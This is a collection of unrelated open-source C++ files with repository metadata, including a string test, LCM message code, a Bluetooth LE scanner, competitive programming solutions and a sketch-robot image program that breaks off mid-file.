21, 0, "abcde", 2, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcde", 4, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcde", 5, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcdefghij", 0, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcdefghij", 1, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcdefghij", 5, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcdefghij", 9, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcdefghij", 10, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcdefghijklmnopqrst", 1, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcdefghijklmnopqrst", 10, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcdefghijklmnopqrst", 19, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcdefghijklmnopqrst", 20, 0); } int main() { { typedef string S; test0<S>(); test1<S>(); test2<S>(); test3<S>(); test4<S>(); test5<S>(); test6<S>(); test7<S>(); test8<S>(); test9<S>(); test10<S>(); test11<S>(); } #if __cplusplus >= 201103L { typedef basic_string<char, std::char_traits<char>, min_allocator<char>> S; test0<S>(); test1<S>(); test2<S>(); test3<S>(); test4<S>(); test5<S>(); test6<S>(); test7<S>(); test8<S>(); test9<S>(); test10<S>(); test11<S>(); } #endif }
[ "mpilman@inf.ethz.ch" ]
mpilman@inf.ethz.ch
e4a5f6bd4a3dfc1f5297c775be1d5d63d5f56f34
2e3f7d511efc89fa54c99545ce5e0bcbe9456974
/tests/microBench_stream_dp_strm/src_pers/PersAdd_prim.cpp
4bb7cbaab1751664ecf3ec4dfe27fd1b090c88a8
[ "BSD-3-Clause" ]
permissive
PacificBiosciences/OpenHT
a3aab4ddf01c9339899531d737de4ee38a35bd2e
63898397de4d303ba514d88b621cc91367ffe2a6
refs/heads/master
2021-06-03T19:43:09.920841
2020-09-24T14:32:52
2020-09-24T14:32:52
33,895,564
1
1
null
2015-04-13T21:39:54
2015-04-13T21:39:53
null
UTF-8
C++
false
false
911
cpp
#include "Ht.h" #include "PersAdd_prim.h" ht_prim ht_clk("clk") void add_wrap ( bool const & rst, uint64_t const & i_a, uint64_t const & i_b, bool const & i_vld, bool & o_rdy, uint64_t & o_res, bool & o_vld, add_prm_state & s) { #ifndef _HTV // Inputs a, b are valid on the inital input stage - (Stage 1) // Output p is valid on 5 cycles later - (Stage 6) // p is valid on Stage 6 o_rdy = true; o_res = s.res[4]; o_vld = s.vld[4]; // s.p[i] is valid on Stage (i+1) (s.p[4] on Stage 5, s.p[3] on Stage 4, etc...) int i; for (i = 4; i > 0; i--) { s.res[i] = s.res[i - 1]; s.vld[i] = s.vld[i - 1]; } // a, b, and s.p[0] are all valid on the initial stage - (Stage 1) double a_tmp = *((double*)&i_a); double b_tmp = *((double*)&i_b); double r_tmp = a_tmp + b_tmp; s.res[0] = *(uint64_t*)&r_tmp; s.vld[0] = i_vld; #endif }
[ "cbaronne@micron.com" ]
cbaronne@micron.com
d5226253196f8424c213736380c350c630565e04
2bfcbe999eec441451cba6be47282b06c7fab631
/Omega0_Pi4/Eigen_C++/main.cpp
73dd369e045ad92cf0258b8a2485a456c221ded8
[]
no_license
yonggwi-cho/lattice_twistor
8f24a592b60fc71ef61d8232272fe2808e8ab7e2
5f4150d08abaf6d839fa07a937ed3b508c65f7cf
refs/heads/master
2022-04-22T19:26:50.119234
2020-04-25T15:07:41
2020-04-25T15:07:41
256,689,133
0
0
null
null
null
null
UTF-8
C++
false
false
140
cpp
#include<iosream> int main(){ int Ns = argv[1]; dirac = Twistor(Ns); dirac.set_matrix(); dirac.eigen_solver(); dirac.print(); }
[ "yonggwi.cho@gmail.com" ]
yonggwi.cho@gmail.com
0de1cd567109c66c9da67acfbf92b32794c2e5c9
20c0807c5fd11ba549bf4d01a049a35cb6e0c030
/lcm_hpp/cpp/my_lcm_fs_lcmt.hpp
61d4e60477a5201368360f13039a2f8ad2e03034
[]
no_license
ZJ-science/lcm_test
3946b5ca7b9142dac3ca017c34aef26f7f3b6879
2db070eac7bde80875dedec4af17ba1017915d1c
refs/heads/master
2023-01-11T06:57:55.733217
2020-11-17T14:57:47
2020-11-17T14:57:47
313,646,050
1
0
null
null
null
null
UTF-8
C++
false
false
6,436
hpp
/** THIS IS AN AUTOMATICALLY GENERATED FILE. DO NOT MODIFY * BY HAND!! * * Generated by lcm-gen **/ #ifndef __my_lcm_fs_lcmt_hpp__ #define __my_lcm_fs_lcmt_hpp__ #include <lcm/lcm_coretypes.h> #include <string> class my_lcm_fs_lcmt { public: std::string name; int16_t id; int8_t hege; float arg; int16_t chinese; int16_t english; int16_t math; public: /** * Encode a message into binary form. * * @param buf The output buffer. * @param offset Encoding starts at thie byte offset into @p buf. * @param maxlen Maximum number of bytes to write. This should generally be * equal to getEncodedSize(). * @return The number of bytes encoded, or <0 on error. */ inline int encode(void *buf, int offset, int maxlen) const; /** * Check how many bytes are required to encode this message. */ inline int getEncodedSize() const; /** * Decode a message from binary form into this instance. * * @param buf The buffer containing the encoded message. * @param offset The byte offset into @p buf where the encoded message starts. * @param maxlen The maximum number of bytes to read while decoding. * @return The number of bytes decoded, or <0 if an error occured. */ inline int decode(const void *buf, int offset, int maxlen); /** * Retrieve the 64-bit fingerprint identifying the structure of the message. * Note that the fingerprint is the same for all instances of the same * message type, and is a fingerprint on the message type definition, not on * the message contents. */ inline static int64_t getHash(); /** * Returns "my_lcm_fs_lcmt" */ inline static const char* getTypeName(); // LCM support functions. Users should not call these inline int _encodeNoHash(void *buf, int offset, int maxlen) const; inline int _getEncodedSizeNoHash() const; inline int _decodeNoHash(const void *buf, int offset, int maxlen); inline static uint64_t _computeHash(const __lcm_hash_ptr *p); }; int my_lcm_fs_lcmt::encode(void *buf, int offset, int maxlen) const { int pos = 0, tlen; int64_t hash = getHash(); tlen = __int64_t_encode_array(buf, offset + pos, maxlen - pos, &hash, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = this->_encodeNoHash(buf, offset + pos, maxlen - pos); if (tlen < 0) return tlen; else pos += tlen; return pos; } int my_lcm_fs_lcmt::decode(const void *buf, int offset, int maxlen) { int pos = 0, thislen; int64_t msg_hash; thislen = __int64_t_decode_array(buf, offset + pos, maxlen - pos, &msg_hash, 1); if (thislen < 0) return thislen; else pos += thislen; if (msg_hash != getHash()) return -1; thislen = this->_decodeNoHash(buf, offset + pos, maxlen - pos); if (thislen < 0) return thislen; else pos += thislen; return pos; } int my_lcm_fs_lcmt::getEncodedSize() const { return 8 + _getEncodedSizeNoHash(); } int64_t my_lcm_fs_lcmt::getHash() { static int64_t hash = static_cast<int64_t>(_computeHash(NULL)); return hash; } const char* my_lcm_fs_lcmt::getTypeName() { return "my_lcm_fs_lcmt"; } int my_lcm_fs_lcmt::_encodeNoHash(void *buf, int offset, int maxlen) const { int pos = 0, tlen; char* name_cstr = const_cast<char*>(this->name.c_str()); tlen = __string_encode_array( buf, offset + pos, maxlen - pos, &name_cstr, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __int16_t_encode_array(buf, offset + pos, maxlen - pos, &this->id, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __boolean_encode_array(buf, offset + pos, maxlen - pos, &this->hege, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __float_encode_array(buf, offset + pos, maxlen - pos, &this->arg, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __int16_t_encode_array(buf, offset + pos, maxlen - pos, &this->chinese, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __int16_t_encode_array(buf, offset + pos, maxlen - pos, &this->english, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __int16_t_encode_array(buf, offset + pos, maxlen - pos, &this->math, 1); if(tlen < 0) return tlen; else pos += tlen; return pos; } int my_lcm_fs_lcmt::_decodeNoHash(const void *buf, int offset, int maxlen) { int pos = 0, tlen; int32_t __name_len__; tlen = __int32_t_decode_array( buf, offset + pos, maxlen - pos, &__name_len__, 1); if(tlen < 0) return tlen; else pos += tlen; if(__name_len__ > maxlen - pos) return -1; this->name.assign( static_cast<const char*>(buf) + offset + pos, __name_len__ - 1); pos += __name_len__; tlen = __int16_t_decode_array(buf, offset + pos, maxlen - pos, &this->id, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __boolean_decode_array(buf, offset + pos, maxlen - pos, &this->hege, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __float_decode_array(buf, offset + pos, maxlen - pos, &this->arg, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __int16_t_decode_array(buf, offset + pos, maxlen - pos, &this->chinese, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __int16_t_decode_array(buf, offset + pos, maxlen - pos, &this->english, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __int16_t_decode_array(buf, offset + pos, maxlen - pos, &this->math, 1); if(tlen < 0) return tlen; else pos += tlen; return pos; } int my_lcm_fs_lcmt::_getEncodedSizeNoHash() const { int enc_size = 0; enc_size += this->name.size() + 4 + 1; enc_size += __int16_t_encoded_array_size(NULL, 1); enc_size += __boolean_encoded_array_size(NULL, 1); enc_size += __float_encoded_array_size(NULL, 1); enc_size += __int16_t_encoded_array_size(NULL, 1); enc_size += __int16_t_encoded_array_size(NULL, 1); enc_size += __int16_t_encoded_array_size(NULL, 1); return enc_size; } uint64_t my_lcm_fs_lcmt::_computeHash(const __lcm_hash_ptr *) { uint64_t hash = 0x5653c59357c7d6bbLL; return (hash<<1) + ((hash>>63)&1); } #endif
[ "985324779@qq.com" ]
985324779@qq.com
c5dfd546a7a3664ead415d78fa7af7d64c8cce74
82b788176c45b596980ae178884e7a055c625715
/Codeforces/415/D [Mashmokh and ACM].cpp
a0fd56109b88f113598f9ff57fbbff7a140b739f
[]
no_license
RanadevVarma/CP
ebf1afa5895cfa461c920a1a93939b28242b5b88
752b89e68296a337d1cc3845c991e8a80522a5fa
refs/heads/master
2020-03-25T06:53:06.954666
2018-08-04T13:12:23
2018-08-04T13:12:23
143,530,105
0
0
null
null
null
null
UTF-8
C++
false
false
1,276
cpp
// Author - Ranadev Varma // Codeforces Handle - Ranadev_CaptainR // Codechef Handle - ranadev #pragma comment(linker, "/stack:200000000") #pragma GCC optimize("Ofast") #pragma GCC target("sse,sse2,sse3,ssse3,sse4,popcnt,abm,mmx,avx,tune=native") #include <iostream> #include <string> #include <cstring> #include <stdio.h> #include <cmath> #include <algorithm> #include <vector> #include <stack> #include <queue> #include <map> #include <iterator> #include <iomanip> using namespace std ; #define MOD 1000000007 #define pi 3.14159 #define lol1 ios::sync_with_stdio(false) #define lol2 cin.tie(NULL);cout.tie(NULL) #define FOR(i,a,b) for(int i = a ; i < b ; i++) #define RFOR(i,a,b) for(int i = a ; i > b ; i--) #define pb push_back #define mp make_pair #define fi first #define se second long long int dp[2007][2007]; int main() { lol1; lol2; long long int n,l; cin >> n >> l; dp[0][1]=1; long long int ans=0; FOR(i,1,l+1) { FOR(j,1,n+1) { for(int k = j ; k <= n ; k+=j) { dp[i][k] = (dp[i][k] + dp[i-1][j] + MOD)%MOD; } } } FOR(i,1,n+1) { ans = (ans + dp[l][i] + MOD)%MOD; } cout << ans << "\n"; return 0; }
[ "me16btech11020@iith.ac.in" ]
me16btech11020@iith.ac.in
c2ac8cf6852779caa3ce47040a7df638ca672684
0b0b84f2eb3ea769a35a004519e81dc8eb25cd9d
/pygattlib/src/gattservices.cpp
7eff03d576c434810b061273d17ae0df25350141
[ "Apache-2.0", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
vksgaikwad3/BLE-Python-Wrapper
2f0bd6d2e1fffd9a8cd78be29fe5f1d01493fd39
184df90e132b36c5d0098336dbedac5dff33f9df
refs/heads/master
2020-05-21T22:50:23.147281
2016-12-12T10:25:43
2016-12-12T10:25:43
65,820,482
1
0
null
null
null
null
UTF-8
C++
false
false
7,541
cpp
// -*- mode: c++; coding: utf-8; tab-width: 4 -*- // Copyright (C) 2014, Oscar Acena <oscaracena@gmail.com> // This software is under the terms of Apache License v2 or later. #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> #include <exception> #include "gattlib.h" #include "gattservices.h" #include <boost/algorithm/string.hpp> DiscoveryService::DiscoveryService(const std::string device) : _device(device), _device_desc(-1) { int dev_id = hci_devid(device.c_str()); if (dev_id < 0) throw std::runtime_error("Invalid device!"); _device_desc = hci_open_dev(dev_id); if (_device_desc < 0) throw std::runtime_error("Could not open device!"); } DiscoveryService::~DiscoveryService() { if (_device_desc != -1) hci_close_dev(_device_desc); } void DiscoveryService::enable_scan_mode() { int result; uint8_t scan_type = 0x01; uint16_t interval = htobs(0x0010); uint16_t window = htobs(0x0010); uint8_t own_type = 0x00; uint8_t filter_policy = 0x00; result = hci_le_set_scan_parameters (_device_desc, scan_type, interval, window, own_type, filter_policy, 10000); if (result < 0) throw std::runtime_error ("Set scan parameters failed (are you root?)"); result = hci_le_set_scan_enable(_device_desc, 0x01, 1, 10000); if (result < 0) throw std::runtime_error("Enable scan failed"); } void DiscoveryService::get_advertisements(int timeout, boost::python::dict & ret) { struct hci_filter old_options; socklen_t slen = sizeof(old_options); if (getsockopt(_device_desc, SOL_HCI, HCI_FILTER, &old_options, &slen) < 0) throw std::runtime_error("Could not get socket options"); struct hci_filter new_options; hci_filter_clear(&new_options); hci_filter_set_ptype(HCI_EVENT_PKT, &new_options); hci_filter_set_event(EVT_LE_META_EVENT, &new_options); if (setsockopt(_device_desc, SOL_HCI, HCI_FILTER, &new_options, sizeof(new_options)) < 0) throw std::runtime_error("Could not set socket options\n"); int len; unsigned char buffer[HCI_MAX_EVENT_SIZE]; struct timeval wait; fd_set read_set; wait.tv_sec = timeout; int ts = time(NULL); while(1) { FD_ZERO(&read_set); FD_SET(_device_desc, &read_set); int err = select(FD_SETSIZE, &read_set, NULL, NULL, &wait); if (err <= 0) break; len = read(_device_desc, buffer, sizeof(buffer)); process_input(buffer, len, ret); int elapsed = time(NULL) - ts; if (elapsed >= timeout) break; wait.tv_sec = timeout - elapsed; } setsockopt(_device_desc, SOL_HCI, HCI_FILTER, &old_options, sizeof(old_options)); } void DiscoveryService::process_input(unsigned char* buffer, int size, boost::python::dict & ret) { for (int i=0; i < size; i++) { unsigned char* ptr = buffer + HCI_EVENT_HDR_SIZE + 1; evt_le_meta_event* meta = (evt_le_meta_event*) ptr; if (meta->subevent != EVT_LE_ADVERTISING_REPORT) { //|| (uint8_t)buffer[BLE_EVENT_TYPE] != BLE_SCAN_RESPONSE) { //std::cout << "not an advertising report" << std::endl; continue; } le_advertising_info* info; info = (le_advertising_info*) (meta->data + 1); char addr[18]; ba2str(&info->bdaddr, addr); int flags = parse_flags(info->data, info->length); int appearance = parse_appearance(info->data, info->length); std::string name = parse_name(info->data, info->length); boost::python::list uuids = parse_uuids(info->data, info->length); if (!ret.contains(addr)) { boost::python::dict new_object; ret[addr] = new_object; } if (!ret[addr].contains("flags") || flags != 0) ret[addr]["flags"] = flags; if (!ret[addr].contains("appearance") || appearance != 0) ret[addr]["appearance"] = appearance; // it's safe to cast the length to an unsigned int, since length > 0. if (!ret[addr].contains("name") || name.length() > (unsigned int)boost::python::len(ret[addr]["name"])) ret[addr]["name"] = name; if (!ret[addr].contains("uuids") || boost::python::len(uuids) > boost::python::len(ret[addr]["uuids"])) ret[addr]["uuids"] = uuids; ptr += sizeof(evt_le_meta_event); } } int DiscoveryService::parse_appearance(uint8_t* data, size_t size) { size_t offset = 0; while (offset < size) { uint8_t field_len = data[0]; if (field_len == 0 || offset + field_len > size) { // this probably ought to be an exception return 0; } if (data[1] == EIR_APPEARANCE) { uint16_t appearance = ((uint16_t *)(data + 2))[0]; return appearance; } offset += field_len + 1; data += field_len + 1; } return 0; } boost::python::list DiscoveryService::parse_uuids(uint8_t * data, size_t size) { size_t offset = 0; boost::python::list uuids; while (offset < size) { uint8_t field_len = data[0]; if (field_len == 0 || offset + field_len > size) { // this probably ought to be an exception return uuids; } if (data[1] == EIR_16BIT_UUIDS_COMPLETE || data[1] == EIR_16BIT_UUIDS_INCOMPLETE) { int number_of_uuids = (field_len - 1) / 2; uint16_t *big_uuids = (uint16_t *)(data + 2); for (int i = 0; i < number_of_uuids; i++) { // add this uuid to the list uuids.append(big_uuids[i]); } } else if (data[1] == EIR_32BIT_UUIDS_COMPLETE || data[1] == EIR_32BIT_UUIDS_INCOMPLETE) { int number_of_uuids = (field_len - 1) / 4; uint32_t *big_uuids = (uint32_t *)(data + 2); for (int i = 0; i < number_of_uuids; i++) { // add this uuid to the list uuids.append(big_uuids[i]); } } else if (data[1] == EIR_128BIT_UUIDS_COMPLETE || data[1] == EIR_128BIT_UUIDS_INCOMPLETE) { int number_of_uuids = (field_len - 1) / 16; uint32_t *big_uuids = (uint32_t *)(data + 2); for (int i = 0; i < number_of_uuids * 4; i+=4) { // add this uuid to the list uuids.append(boost::python::make_tuple(big_uuids[i], big_uuids[i+1], big_uuids[i+2], big_uuids[i+3])); } } offset += field_len + 1; data += field_len + 1; } return uuids; } int DiscoveryService::parse_flags(uint8_t* data, size_t size) { size_t offset = 0; while (offset < size) { uint8_t field_len = data[0]; if (field_len == 0 || offset + field_len > size) { // this probably ought to be an exception return 0; } if (data[1] == EIR_FLAGS) return data[2]; offset += field_len + 1; data += field_len + 1; } return 0; } std::string DiscoveryService::parse_name(uint8_t* data, size_t size) { size_t offset = 0; std::string unknown = ""; while (offset < size) { uint8_t field_len = data[0]; size_t name_len; if (field_len == 0 || offset + field_len > size) return unknown; switch (data[1]) { case EIR_NAME_SHORT: case EIR_NAME_COMPLETE: name_len = field_len - 1; // remove any trailing \x00s if (data[1 + name_len] == '\0') name_len--; if (name_len > size) return unknown; return std::string((const char*)(data + 2), name_len); } offset += field_len + 1; data += field_len + 1; } return unknown; } void DiscoveryService::disable_scan_mode() { if (_device_desc == -1) throw std::runtime_error("Could not disable scan, not enabled yet"); int result = hci_le_set_scan_enable(_device_desc, 0x00, 1, 10000); if (result < 0) throw std::runtime_error("Disable scan failed"); } boost::python::dict DiscoveryService::discover(int timeout) { boost::python::dict retval; enable_scan_mode(); get_advertisements(timeout, retval); disable_scan_mode(); return retval; }
[ "vksgaikwad3@gmail.com" ]
vksgaikwad3@gmail.com
99ff3fbc9e1d516e4d43dc8d5cbeae1b22f06923
6ac96a57f2d6e1f1fca264209b76811909df8681
/joi/2017/b.cpp
0f236774255ed518f95ef491eecefd0fbed6c757
[]
no_license
SBidaibek/acm
ac85ca9b5ae158113e95c3d851c76c61ccd04c6f
b358a79f8753d2c3f9888ab8a5b22b0ec25d15db
refs/heads/master
2020-04-22T17:19:43.625322
2019-02-15T06:22:14
2019-02-15T06:22:14
170,537,539
1
0
null
null
null
null
UTF-8
C++
false
false
2,162
cpp
#include <bits/stdc++.h> using namespace std; #define forn(i, x, n) for (int i = int(x); i <= int(n); ++i) #define for1(i, n, x) for (int i = int(n); i >= int(x); --i) #define x first #define y second #define pb push_back typedef long long ll; typedef pair <ll, ll> pii; typedef long double ld; typedef vector <ll> vi; const int N = 2e6 + 1; const int INF = 1e9 + 9; const int B = 1e9 + 7; ld ccwx(pii p, ld ca, ld sa) { return p.x * ca - p.y * sa; } ld ccwy(pii p, ld ca, ld sa) { return p.x * sa + p.y * ca; } ld dist(pii p) { return sqrt(p.x * p.x + p.y * p.y); } int n; pii p[N]; int c[N]; pair <ld, int> a[N]; ll g() { sort(a + 1, a + 1 + n); ll ans = 0, p = 0, mn = 0; forn(i, 1, n) { p += a[i].y; if (fabs(a[i].x - a[i + 1].x) <= 1e-12) continue; ans = max(ans, p - mn); mn = min(mn, p); } //cerr << ans << "\n"; return ans; } int main() { #ifdef black freopen("in", "r", stdin); #endif // black ios_base :: sync_with_stdio(0); cin.tie(0); cin >> n; forn(i, 1, n) cin >> p[i].x >> p[i].y >> c[i]; forn(i, 1, n) a[i] = {p[i].x, c[i]}; ll ans = g(); forn(j, 1, n) { forn(k, j + 1, n) { pii v = {p[k].x - p[j].x, p[k].y - p[j].y}; if (v.y < 0) v.x *= -1, v.y *= -1; ld ca = v.x / dist(v), sa = v.y / dist(v); forn(i, 1, n) a[i] = {ccwx(p[i], ca, sa), c[i]}; ans = max(ans, g()); forn(i, 1, n) a[i] = {ccwy(p[i], ca, sa), c[i]}; ans = max(ans, g()); } if (p[j].x || p[j].y) { pii v = {p[j].x, p[j].y}; if (v.y < 0) v.x *= -1, v.y *= -1; ld ca = v.x / dist(v), sa = v.y / dist(v); forn(i, 1, n) a[i] = {ccwx(p[i], ca, sa), c[i]}; ans = max(ans, g()); forn(i, 1, n) a[i] = {ccwy(p[i], ca, sa), c[i]}; ans = max(ans, g()); } } cout << ans << "\n"; return 0; }
[ "sanzhar.bidaibek@gmail.com" ]
sanzhar.bidaibek@gmail.com
d25204b0cc2a4b4cfa6fd34b9c0e4c1ba32d1081
d052e2c1ef05fac22cf3d55f873322d09c19b373
/trt_pose/cover_table.h
4ead1971b8c34e31f7e8ce0f3c895b762554cde4
[ "MIT" ]
permissive
thunder95/tensorrtx
c979f680967a3e80cc306d9e4e643a5ffd59f7bb
5d039f4741d6d9309c105a5271451d5da44415d1
refs/heads/master
2022-05-14T08:41:14.352271
2022-04-06T14:12:28
2022-04-06T14:12:28
224,801,626
5
0
MIT
2019-11-29T07:38:08
2019-11-29T07:38:08
null
UTF-8
C++
false
false
1,302
h
// // Created by hl on 22-3-1. // #ifndef TRTPOSE_COVER_TABLE_H #define TRTPOSE_COVER_TABLE_H #pragma once #include <memory> #include <vector> class TrtPoseCoverTable { public: TrtPoseCoverTable(int nrows, int ncols) : nrows(nrows), ncols(ncols) { char delay[256] = {0}; // FIXME: 这里只是象征性的延时一下,因为出现过多次rows.resize(nrows)崩 rows.resize(nrows); cols.resize(ncols); } inline void coverRow(int row) { rows[row] = 1; } inline void coverCol(int col) { cols[col] = 1; } inline void uncoverRow(int row) { rows[row] = 0; } inline void uncoverCol(int col) { cols[col] = 0; } inline bool isCovered(int row, int col) const { return rows[row] || cols[col]; } inline bool isRowCovered(int row) const { return rows[row]; } inline bool isColCovered(int col) const { return cols[col]; } inline void clear() { for (int i = 0; i < nrows; i++) { uncoverRow(i); } for (int j = 0; j < ncols; j++) { uncoverCol(j); } } const int nrows; const int ncols; private: std::vector<bool> rows; std::vector<bool> cols; }; #endif //TRTPOSE_COVER_TABLE_H
[ "you@example.com" ]
you@example.com
c0310b16be27fec0048e557ae3997233bb5d9b2d
947a7b36ae14f52e9b105ec5b52cdc7fc4d3c032
/include/AbstractGraph.hh
5a36be382a3811295f0ab861904fefe9c9890cd1
[]
no_license
xyyyt/graph_theory_algorithm
6fb5b0ed38935af5439d1edd6fec9e532bb20cd8
d3790bea176bbb902ec444f5ff2833451ffae44b
refs/heads/master
2022-04-12T03:35:04.017717
2020-03-30T13:18:45
2020-03-30T13:18:45
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,253
hh
#ifndef ABSTRACT_GRAPH_HH_ # define ABSTRACT_GRAPH_HH_ # include <string> # include <ostream> # include <fstream> namespace graph { namespace dijkstra { class DijkstraFileParser; } namespace bellman_ford { class BellmanFordFileParser; } namespace astar { class AStarFileParser; } class IGraphAlgoReport { public : virtual ~IGraphAlgoReport() = default; virtual std::ostream& description(std::ostream&) const noexcept = 0; virtual std::ostream& result(std::ostream&) const noexcept = 0; }; class AGraphAlgorithm { public : virtual ~AGraphAlgorithm() = default; virtual void init(const dijkstra::DijkstraFileParser&); virtual void init(const bellman_ford::BellmanFordFileParser&); virtual void init(const astar::AStarFileParser&); virtual void execute() = 0; virtual const IGraphAlgoReport& getReport() const noexcept = 0; }; class AGraphFileParser { protected : const std::string& _fileName; public : AGraphFileParser(const std::string&); virtual ~AGraphFileParser() = default; virtual void accept(AGraphAlgorithm&) const noexcept = 0; void parse(); private : virtual void onParse(std::ifstream&) = 0; }; } #endif
[ "f.pham.pro@gmail.com" ]
f.pham.pro@gmail.com
16963cfda3617d9d1b25529d2afe81b9fff7f001
a7c07b78c1497807b2fdd77a2a805ac48cc0351b
/src/core/models/genotype/uniform_genotype_prior_model.hpp
c269c45643585392e58a984d7c1b11f0312e6bc4
[ "MIT" ]
permissive
luntergroup/octopus
4cedb3a51f6b91271ab316303fda6bded6362d86
17a597d192bcd5192689bf38c5836a98b824867a
refs/heads/develop
2022-08-18T02:16:40.058928
2022-07-08T15:09:38
2022-07-08T15:09:38
30,291,133
311
45
MIT
2022-02-04T00:24:36
2015-02-04T09:24:53
C++
UTF-8
C++
false
false
1,189
hpp
// Copyright (c) 2015-2021 Daniel Cooke // Use of this source code is governed by the MIT license that can be found in the LICENSE file. #ifndef uniform_genotype_prior_model_hpp #define uniform_genotype_prior_model_hpp #include "genotype_prior_model.hpp" namespace octopus { class UniformGenotypePriorModel : public GenotypePriorModel { public: using GenotypePriorModel::LogProbability; UniformGenotypePriorModel() = default; UniformGenotypePriorModel(const UniformGenotypePriorModel&) = default; UniformGenotypePriorModel& operator=(const UniformGenotypePriorModel&) = default; UniformGenotypePriorModel(UniformGenotypePriorModel&&) = default; UniformGenotypePriorModel& operator=(UniformGenotypePriorModel&&) = default; virtual ~UniformGenotypePriorModel() = default; private: virtual LogProbability do_evaluate(const Genotype<Haplotype>& genotype) const override { return 1.0; } virtual LogProbability do_evaluate(const Genotype<IndexedHaplotype<>>& genotype) const override { return 1.0; } bool check_is_primed() const noexcept override { return true; } }; } // namespace octopus #endif
[ "dcooke@well.ox.ac.uk" ]
dcooke@well.ox.ac.uk
8da47202dfbaeaa494c04fe7abbcc4649df2097b
83c99e33fe6c0f4cbbe7f229ead69f69f28aff9e
/test/node.h
5800d29fd8d02806b58f0ad7e23bc59b4f1e266c
[]
no_license
smjn/programs
0e41cb4e9df8af67768eb3878fae084bfa47ed27
3ec65f543871a19ee04ecf5cd4d0ecd3ae4cb873
refs/heads/master
2023-01-23T15:46:44.346998
2020-12-07T10:59:58
2020-12-07T10:59:58
39,536,795
2
0
null
null
null
null
UTF-8
C++
false
false
376
h
#ifndef NODE_H #define NODE_H class Node{ private: int m_data; Node *m_l; Node *m_r; Node *m_p; public: Node(int aData); Node* getLeft(); Node* getRight(); Node* getParent(); void setLeft(Node *aLeft); void setRight(Node *aRight); void setParent(Node *aParent); void setData(int aData); int getData(); }; #endif // NODE_H
[ "sushant@zen3" ]
sushant@zen3
3d339952723e08ef64be606f6fe2ec6b8d38b25e
2a4304a7092ef8853ef167eb6f367ca9af9c5476
/Source/SketchBot_Complete_jk/main1.cpp
87da0d70fc50391708c7efa04a8232e2e750fe3b
[]
no_license
ssaurabh41/Sketch-Bot
80939f0147b445663675fe46eb97153e2ddd2f0f
0947b8a8b5897ec33d1c36a61a9ea02a7f5ad2d2
refs/heads/master
2021-05-29T03:01:42.719980
2015-04-19T15:03:38
2015-04-19T15:03:38
null
0
0
null
null
null
null
UTF-8
C++
false
false
14,273
cpp
#include <opencv2/core/core.hpp> #include <opencv2/highgui/highgui.hpp> #include <opencv/cv.h> #include <iostream> using namespace cv; using namespace std; //analyser for the purpose of making the '!' back to ' ' which we had deliberately done in java so that theres no problem in cin in cpp string analyser(string input) { string output=""; string substring; for(int i=0;i<input.length();++i){ substring=input.substr(i,1); if(substring.compare("!")==0){ substring=" "; } output.append(substring); } return output; } #include "Points.h" #include "image_functions.h" #include "global_variables.h" #include "path_algo_related_functions.h" #include "Draw_image_on_window.h" #include "windowsh.h" #include "parsing.h" void CallBackFunc(int event ,int x,int y,int flags,void* userdata); void Erase(int event, int x, int y, int flags, void *userdata); int handleError( int status, const char* func_name,const char* err_msg, const char* file_name,int line, void* userdata ) { //Do nothing -- will suppress console output return 0; //Return value is not used } double bot_forward_resolution=5.45; double bot_rotation_resolution = 4.090*5.44/5.38; //common variables vector<Points> drawThis; vector<Points> path[1000]; int i=0; bool isPath[1000]={0}; Mat tracing_of_path; //to know if the path exists or not Mat final_points; int drawing_board_l, drawing_board_b; //variables needed when user wants to draw the image Mat image(500,500,CV_8U, Scalar(255)); bool isLeftButtonDown=0; int previous_mouse_x, previous_mouse_y; Mat image_only_borders; bool isRightButtonDown=0; int main() { redirectError(handleError); try{ int what; cin>>what; if(what==0) //code when user wants to draw the image { for(int i=0;i<image.cols;++i) { for(int j=0;j<image.rows;++j) { image.at<uchar>(j,i)=255; } } //drawing_board_l=first_coordinate(what); //drawing_board_b=second_coordinate(what); tracing_of_path=image.clone(); final_points=image.clone(); namedWindow("my window",CV_WINDOW_AUTOSIZE); setMouseCallback("my window",CallBackFunc,(NULL)); waitKey(0); } else if (what==1) //code when user wants to upload an image { Mat orig_image, resized_image; // new blank images string image_file_path; //image_file_path=address(what); cin>>image_file_path; image_file_path=analyser(image_file_path); //drawing_board_l=first_coordinate(what); //drawing_board_b=second_coordinate(what); orig_image = cv::imread(image_file_path); //read the file resize_image(400,600, orig_image, resized_image); namedWindow( "Display window", CV_WINDOW_AUTOSIZE ); imshow( "Display window", resized_image ); //waitKey(0); Mat image_in_grayscale; cvtColor(resized_image, image_in_grayscale,CV_BGR2GRAY); namedWindow("GrayScale Image",CV_WINDOW_AUTOSIZE); imshow("GrayScale Image",image_in_grayscale); destroyWindow("GrayScale Image"); //waitKey(0); //Mat image_only_borders; image_only_borders=image_in_grayscale.clone(); namedWindow("B&W",CV_WINDOW_AUTOSIZE); BlackNWhite(image_in_grayscale,150); imshow("B&W",image_in_grayscale); destroyWindow("B&W"); //waitKey(0) ; detect_borders(image_in_grayscale, image_only_borders); namedWindow("Only Borders",CV_WINDOW_AUTOSIZE); imshow("Only 